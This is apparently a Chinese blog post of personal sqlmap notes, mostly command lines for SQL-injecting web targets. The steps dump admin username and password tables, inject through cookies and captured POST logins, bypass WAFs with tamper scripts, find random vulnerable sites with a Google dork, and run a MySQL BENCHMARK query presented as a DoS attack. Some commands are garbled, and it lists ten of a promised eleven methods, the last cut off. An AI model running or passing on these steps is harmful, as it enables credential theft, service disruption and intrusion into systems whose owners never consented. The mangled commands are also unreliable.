SQLMAP注入检查方法 11种常见SQLMAP使用方法详解

sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,很多人都是通过这个工具实施的检测与注入,对于我们从事安全防御的人来说,一定要引起注意,一般的程序员写的代码都是带漏洞的

今天把我一直以来整理的sqlmap笔记发布上来供大家参考。

一共有11种常见SQLmap使用方法:

一、SQLMAP用于Access数据库注入

(1) 猜解是否能注入

win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"
Linux : .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"

(2) 猜解表

win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --tables

(3) 根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)

win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --columns -T admin

(4) 根据字段猜解内容(假如通过3得到字段为username和password)

win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C "username,password"
Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7" --dump -T admin -C
"username,[url=]B[/url]password"

二、SQLMAP用于Cookie注入

(1) cookie注入,猜解表

win : python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --table --level 2

(2) 猜解字段,(通过1的表猜解字段,假如表为admin)

win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --columns -T admin --level 2

(3) 猜解内容

win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp" --cookie "id=31" --dump -T admin -C "username,password" --level 2

三、SQLMAP用于mysql中DDOS攻击(1) 获取一个Shell

win:
python sqlmap.py -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell
Linux:
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --sql-shell

(2) 输入执行语句完成DDOS攻击

select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

四、SQLMAP用于mysql注入

(1) 查找数据库

python sqlmap.py -u "http://www.xxx.com/link.php?id=321" --dbs

(2) 通过第一步的数据库查找表(假如数据库名为dataname)

python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname --tables

(3) 通过2中的表得出列名(假如表为table_name)

python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name --columns

(4) 获取字段的值(假如扫描出id,user,password字段)

python sqlmap.py -u "http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C
"id,user,password" --dump

五、SQLMAP中post登陆框注入

(1) 其中的search-test.txt是通过抓包工具burp suite抓到的包并把数据保存为这个txt文件
我们在使用Sqlmap进行post型注入时,经常会出现请求遗漏导致注入失败的情况。这里分享一个小技巧,即结合burpsuite来使用sqlmap,用这种方法进行post注入测试会更准确,操作起来也非常容易。

1. 浏览器打开目标地址http:// www.xxx.com /Login.asp
2. 配置burp代理(127.0.0.1:8080)以拦截请求
3. 点击login表单的submit按钮
4. 这时候Burp会拦截到了我们的登录POST请求
5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
6. 运行sqlmap并使用如下命令:

./sqlmap.py -r search-test.txt -p tfUPass

这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。

注入点:http://testasp.vulnweb.com/Login.asp

几种注入方式:./sqlmap.py -r search-test.txt -p tfUPass

(2) 自动的搜索

sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --forms

(3) 指定参数搜索

sqlmap -u [url]http://testasp.vulnweb.com/Login.asp[/url] --data "tfUName=321&tfUPass=321"

六、SQLMAP中Google搜索注入

inurl后面的语言是由自己定的

注入过程中如果选y是注入,如果不是选n

sqlmap -g inurl:php?id=

七、SQLMAP中的请求延迟

参数 --delay --safe-freq

python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3

参数

八、SQLMAP绕过WAF防火墙

注入点:http://192.168.159.1/news.php?id=1 
sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] -v 3 --dbs --batch --tamper "space2morehash.py"

space2morehash.py中可以替换space2hash.py或者base64encode.py或者charencode.py

都是编码方式

space2hash.py base64encode.py charencode.py

九、SQLMAP查看权限

sqlmap -u [url]http://192.168.159.1/news.php?id=1[/url] --privileges

十、SQLMAP伪静态注入(1) 查找数据库

python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" --dbs

(2) 通过1中的数据库查找对应的表 (假如通过1,得到的是dataname)

python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname --tables

(3) 通过2中的数据表得到字段(假如得到的是tablename表)

python sqlmap.py -u "http://xxx.cn/index.php/Index/view/id/40.html" -D dataname -T
tablename --columns

(4) 通过3得到

以上就是SQLMAP注入检查方法 11种常见SQLMAP使用方法详解的详细内容,更多请关注0133技术站其它相关文章!

赞(0) 打赏
未经允许不得转载:0133技术站首页 » 工具使用